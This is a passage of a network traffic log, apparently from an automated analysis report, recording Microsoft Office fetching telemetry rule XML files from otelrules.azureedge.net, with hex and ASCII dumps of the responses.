N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:41 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:42 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:42 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 8d8a3cd7-301e-001f-2922-41aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121042Z-174f7845968ljs8phC1EWRe6en0000000y80000000005w45 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:42 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:43 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:43 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:43 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 3452a663-f01e-003c-1f91-3f8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121043Z-174f7845968n2hr8hC1EWR9cag0000000y30000000003pqg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:43 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:44 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:44 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:44 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: f1905457-c01e-0066-4580-3fa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121044Z-174f7845968xr5c2hC1EWRd0hn0000000f6000000000890p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:44 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:44 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:44 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:44 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 931d4756-e01e-001f-0f26-401633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121044Z-174f78459685726chC1EWRsnbg0000000ydg00000000770g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:44 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:44 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:44 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:44 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 2ff5ce10-101e-0017-5791-3f47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121044Z-174f7845968kdththC1EWRzvxn0000000ap000000000a6yb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:44 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:44 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:44 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:44 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b189b901-c01e-0079-3391-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121044Z-174f7845968kvnqxhC1EWRmf3g0000000h50000000007uwa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:44 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:46 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:46 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:46 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fde36bdf-c01e-000b-1591-3fe255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121046Z-174f7845968ljs8phC1EWRe6en0000000y60000000007w3e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:46 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:46 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:46 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:46 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 6e1934d2-a01e-006f-595c-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121046Z-174f7845968l4kp6hC1EWRe8840000000yk0000000009yhy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:46 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:46 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:46 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:46 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 9b9719a8-201e-0033-3491-3fb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121046Z-174f7845968ljs8phC1EWRe6en0000000yb0000000001kea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:46 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:46 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:47 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:46 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ab6eb442-501e-0035-0e91-3fc923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121046Z-174f7845968zgtf6hC1EWRqd8s0000000rd0000000003eed x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:47 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:47 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:47 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:47 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 580008bf-301e-0000-1d8a-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121047Z-174f7845968glpgnhC1EWR7uec0000000yfg000000009ex5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:47 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:48 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:48 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:48 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: abcfbd22-201e-005d-403e-40afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121048Z-174f7845968vqt9xhC1EWRgten0000000ydg000000006w2s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
